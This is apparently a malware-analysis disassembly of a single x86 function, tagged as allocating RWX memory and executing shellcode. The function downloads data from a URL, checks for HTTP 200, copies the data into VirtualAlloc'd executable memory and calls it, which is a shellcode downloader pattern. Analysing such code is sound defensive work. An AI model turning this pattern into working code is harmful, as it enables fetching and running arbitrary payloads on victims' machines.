Function at 0x402600
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425c20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
push esi
push esi
push esi
push esi
push 1
push 0xf31228
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x15], 0
call fcn.004216fe
push esi
lea eax, [ebp - 0x14]
push 4
mov edi, 0x1388
push eax
push 2
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], edi
call fcn.004219ae
push esi
lea ecx, [ebp - 0x14]
push 4
push ecx
push 5
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call fcn.004219ae
push esi
lea edx, [ebp - 0x14]
push 4
push edx
push 6
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call fcn.004219ae
push esi
lea eax, [ebp - 0x14]
push 4
push eax
push 7
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call fcn.004219ae
push esi
lea ecx, [ebp - 0x14]
push 4
push ecx
push 8
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call fcn.004219ae
mov edx, dword [ebp + 8]
push esi
push esi
push 0x84000002
xor ebx, ebx
push 1
push edx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 1
call fcn.004217f9
mov edi, eax
lea eax, [ebp - 0x34]
push eax
mov ecx, edi
mov dword [ebp - 0x1c], edi
call fcn.00422268
mov eax, dword [ebp - 0x34]
cmp eax, 0xc8
jne 0x4027f6
lea ecx, [ebp + 8]
push esi
push ecx
push 5
mov ecx, edi
mov dword [ebp + 8], esi
call fcn.00422241
mov eax, dword [ebp + 8]
cmp eax, esi
jbe 0x402840
add eax, 8
push eax
call fcn.0040b0ad
mov ebx, eax
add esp, 4
cmp ebx, esi
mov dword [ebp - 0x14], ebx
jne 0x40274e
push 0x10
push 0xf31220
push 0xf31204
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004216b9
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
xor eax, eax
mov edi, ebx
lea ecx, [edx + 8]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebp + 8]
cmp esi, eax
jae 0x40279e
sub eax, esi
cmp eax, 0x800
jb 0x40277b
mov eax, 0x800
mov ecx, dword [ebp - 0x1c]
push eax
lea eax, [esi + ebx]
mov edx, dword [ecx]
push eax
call dword [edx + 0x34]
test eax, eax
jg 0x40279a
push 0x10
push 0xf31220
push 0xf311e4
jmp 0x4027be
add esi, eax
jmp 0x402766
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x4027d4
push 0x10
push 0xf31220
push 0xf311bc
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
call fcn.0040afc4
add esp, 4
jmp 0x40272c
mov ecx, dword [ebp + 8]
mov esi, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call eax
mov edi, dword [ebp - 0x1c]
mov byte [ebp - 0x15], 1
xor esi, esi
jmp 0x402833
mov ecx, dword [0xf31410]
mov dword [ebp + 8], ecx
push eax
lea edx, [ebp + 8]
push 0xf3119c
push edx
mov byte [ebp - 4], 2
call fcn.00418ec4
mov eax, dword [ebp + 8]
add esp, 0xc
push 0x10
push 0xf31190
push eax
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call fcn.0041d5b1
cmp ebx, esi
je 0x402840
push ebx
call fcn.0040afc4
add esp, 4
cmp edi, esi
je 0x402854
mov edx, dword [edi]
mov ecx, edi
call dword [edx + 0x4c]
mov eax, dword [edi]
push 1
mov ecx, edi
call dword [eax + 4]
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004216b9
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0x15]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret